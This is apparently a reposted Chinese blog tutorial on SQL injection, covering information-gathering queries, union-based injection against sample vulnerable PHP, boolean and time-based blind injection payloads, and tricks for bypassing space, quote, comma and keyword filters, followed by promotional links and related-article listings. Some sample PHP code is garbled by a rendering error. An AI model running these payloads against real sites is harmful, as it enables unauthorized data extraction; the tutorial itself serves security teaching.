【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解

这篇具有很好参考价值的文章主要介绍了【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

【点击此处即可获取282G网络安全零基础入门学习资源】

信息搜集

信息搜集在 SQL 注入攻击中扮演着重要的角色,它为攻击者提供了关键的目标数据库和应用程序信息,帮助攻击者更好地进行后续的攻击操作。

信息搜集主要包括以下几个方面:

1.识别和了解目标数据库:获取目标数据库的类型、版本、表结构、列名以及其他关键信息。
2.获取敏感信息:获取目标数据库中的敏感信息,如用户名、密码、用户权限、财务信息等。
3.发现漏洞和弱点:发现目标应用程序的漏洞和弱点,如不安全的输入验证、不当的错误处理机制等。
4.判断注入点和注入类型:确定目标应用程序存在的注入点,即用户输入数据直接或间接进入 SQL 语句的位置。同时,了解到目标应用程序的数据库交互方式(如直接构造 SQL 语句、使用存储过程等),从而选择最适合的注入类型和方法。

使用以下一些指令获取相关信息:

1.select version():获取数据库版本;
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
2.select user():获取数据库用户名;
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
3.select database():获取数据库名;
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
4.select @@datadir:获取数据库路径;
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
5.select @@version_compile_os:获取操作系统版本;
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

注入入门

基础注入

假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: …lt) { while (row = mysql_fetch_assoc( r e s u l t ) ) e c h o " < t r > " ; e c h o " < t d > " . result)) echo "<tr>"; echo "<td>". result))echo"<tr>";echo"<td>".row[‘id’].“”;
echo “”. r o w [ ′ n a m e ′ ] . " < / t d > " ; e c h o " < t d > " . row['name']."</td>"; echo "<td>". row[name]."</td>";echo"<td>".row[‘age’].“”;
echo “”;
}
echo “”;

那么我们根据其 SQL 语句 SELECT * FROM users where name=’ 进行正常查询时,可以发现不管有没有这个用户名 name,最终都会显示出结果,运行结果如下:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
那么我们据此构造一些恶意语句,比如说使用 union 进行联合查询,使用 union 需要保证前后查询的字段数量保持一致,否则会报错,运行结果如下所示:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
那么根据上述原理,我们可以匹配出网页源码中 SQL 语句里的 * 代表着 5 个字段,运行结果如下所示:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

我们可以构造 SQL 收集一些信息,比如 admin union select version(),user(),database(),4,5–+,运行结果如下:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

SQL 盲注

SQL 盲注是指在进行网络安全测试或攻击时,攻击者通过检测系统的响应来确定系统中存在的漏洞或薄弱点的一种方法。攻击者通常会发送特定的请求到目标系统,并观察系统的响应,如果响应的结果与预期不符,那么可能存在漏洞。通过不断尝试不同的请求和观察响应,攻击者可以逐步获得关于目标系统的信息,并利用这些信息进行进一步的攻击。
假设一个网站的部分源码如下所示:

$sql = “SELECT * FROM users ORDER BY "; $sql = mysql_real_escape_string($_GET["order"])."”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

接下来我们将采用布尔盲注和时间盲注的方式进行攻击。

布尔盲注

布尔盲注是指在进行 SQL 注入时,根据返回的结果是 True 或者是 False 来得到数据库中的相关信息。
由于网站源码是对 order by 进行了拼接,因此我们不能再使用 union 等方法进行注入,而且这里并没有报错输出,因此采用布尔盲注的方式,为了方便调试,接下来将以 BP 抓包的形式展现。
首先是正常的进行请求,运行结果如下:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

接下来使用布尔盲注,因为上个例子已经知道数据库名是 exercises,因此这里就不做过多猜测,注入语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

解释一下上述的 SQL 语句,这句 SQL 的目的是通过判断数据库名的第一个字符的 ASCII 码值是否大于100(e 是101),来实现一个条件查询的排序。如果第一个字符的 ASCII 码值大于100,则按照字段名 name (0x6e616d65)升序排序,否则按照括号字符 ( (0x28)的 ASCII 码值来排序。
同时,这句 SQL 中使用了一些函数和技巧:

MID() 函数用于提取字符串的部分字符。
IFNULL() 函数用于判断数据库名是否为空,如果为空,则返回一个空格字符 “0x20”。
CAST() 函数用于将数据库名转换为 NCHAR 类型。
ORD() 函数用于获取一个字符的 ASCII 码值。
CASE WHEN 语句用于判断 ASCII 码值是否大于100。

运行结果:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
推断数据库名的第二个字符的 SQL 语句如下:

order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

接下来以此类推就可以了。

时间盲注

除了布尔盲注之外,还存在其他的盲注方式,比如时间盲注。

时间盲注是指攻击者向目标应用程序发送恶意的请求时,如果存在时间盲注漏洞,应用程序可能会有不同的响应时间。

正常查询时,所需时间如下:

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

构造时间盲注的 SQL 语句:

order=age` and if(ascii(substr(database(),1,1))=101,sleep(1),1)–+

运行结果:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

绕过方式

为了避免 SQL 注入攻击,应用程序会对输入数据进行适当的验证和过滤,而 hacker 会绞尽脑汁地想办法去进行绕过,以下是一些常见的绕过方式。

空格被过滤

1、使用 /xxx/ 行内注释或者 () 进行绕过:

SELECT/1/username,password/1/FROM/1/users;
SELECT(username),(password)FROM(users);

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
2、使用 %09 %0a %0b %0c %0d %a0 等不可见字符进行绕过:

%09:TAB 键(水平);
%0a:新建一行;
%0b:TAB 键(垂直);
%0c:新的一页;
%0d:return 功能;
%a0:空格;
假设一个网站的部分源码如下所示:

if (preg_match(‘/ /’, $_GET[“name”])) {
die(“ERROR NO SPACE”);
}
$sql = “SELECT * FROM users where name='”;
$sql .= $_GET[“name”].“'”;
r e s u l t = m y s q l q u e r y ( result = mysql_query( result=mysqlquery(sql);

如果是正常注入的话,会发现空格被过滤了,导致注入失败:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

因此,我们需要使用不可见字符替换空格,下面将使用 %a0 进行替换:
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

引号被过滤

使用十六进制代替字符串,比如将 sidiot 的十六进制表示为 0x736964696f74:

SELECT username, password FROM users WHERE username=0x736964696f74

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

逗号被过滤

1、使用 from for 代替逗号:

#替换前
select substr(database(),1,1);
#替换后
select substr(database() from 1 for 1);

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
2、使用 join 代替逗号:

#替换前
select 1,2;
#替换后
select * from (select 1)a join (select 2)b;

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
3、使用 offset 代替逗号:

#替换前
select * from users limit 0,1;

#替换后
select * from users limit 1 offset 0;

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle

比较符号被过滤

1、用 like, rlike, regexp 代替 =:

select * from users where username like ‘sidiot’;
select * from users where username rlike ‘sidiot’;
select * from users where username regexp ‘sidiot’;

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
2、用 greatest()、least() 代替 <>:

#替换前
select * from users where id=1 and ascii(substr(database(),0,1))<64;
#替换后
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
select * from users where id=1 and least(ascii(substr(database(),1,1)),64)=64;

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
or/and/xor/not 被过滤

and = &&
or = ||
xor = |
not = !

常用函数被过滤

hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()

后记

通过本文的讲解,我们对 SQL 注入漏洞有了更深入的理解。了解了信息搜集在 SQL 注入过程中的重要性,并学习了一些基础的入门注入技巧和常用的绕过注入方法。因此,我们要意识到 SQL 注入对系统安全造成的严重威胁,在设计和开发阶段就采取必要的安全措施,例如使用参数化查询和限制权限访问等,建立更安全的应用程序,并保护数据的安全性。
以上就是 SQL 注入漏洞之理论讲解 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

网络安全学习路线

对于零基础想入门网络安全的同学,我整理了一份网络安全学习资料给大家,包含成长路线、视频教程、工具安装包、网安面试题等资料。

需要的小伙伴点击此处即可获取

【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle
【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解,web安全,网络安全,安全,web安全,sql,oracle文章来源地址https://www.toymoban.com/news/detail-739567.html

【以上资源点击此处即可无偿获取】

到了这里,关于【网络安全】「漏洞原理」(二)SQL 注入漏洞之理论讲解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(54)
  • 【网络安全】SQL注入--堆叠注入

    堆叠注入就是可以同时执行多条语句,危害较大,利用此漏洞可以进行删库或者修改数据库信息 查询存在多少字段 使用联合查询获取表名 使用联合查询获取字段名称 使用堆叠注入添加账号密码

    2023年04月09日
    浏览(49)
  • 【网络安全】SQL注入--宽字节注入

    宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字 符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提

    2023年04月13日
    浏览(60)
  • 网络安全---SQL注入攻击

            SQL 注入是一种代码注入技术,可利用 Web 应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在 Web 应用程序中正确检查时,该漏洞就存在。         许多 Web 应用程序从用户处获取输入,然后使用这些输入构建 SQL 查询

    2024年04月12日
    浏览(50)
  • 【网络安全】SQL注入详解

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 1:寻找到SQL注入的位置 2:判断服务器类型和后台数据库类型 3:针对不同的服务器和数据库特点进行SQL注入攻击

    2024年02月06日
    浏览(56)
  • 网络安全必学SQL注入

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,首先我们要学习它的原理。 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻

    2024年02月03日
    浏览(62)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(43)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(49)
  • 网络安全之SQL注入及防御(下篇)

    目录 什么是SQL注入? 一,SQL注入会导致什么呢? 二,SQL注入思想与步骤 三,SQL注入的绕过 四,sqlmap工具的使用  五,sql注入的防御方法 总结 什么是SQL注入? SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在

    2024年04月28日
    浏览(41)
  • 网络安全B模块(笔记详解)- SQL注入

    1.使用渗透机场景kali中工具扫描服务器场景,将apache的端口号和版本号作为Flag提交(格式:端口号_版本号)  Flag:8081_7.5 2.使用渗透机场景windows7访问服务器场景SQL网站,并将网站中概述页面中的Flag提交; Flag:sql_is_good 3.使用渗透机场景windows7访问服务器中的SQL网站中的数

    2024年01月20日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包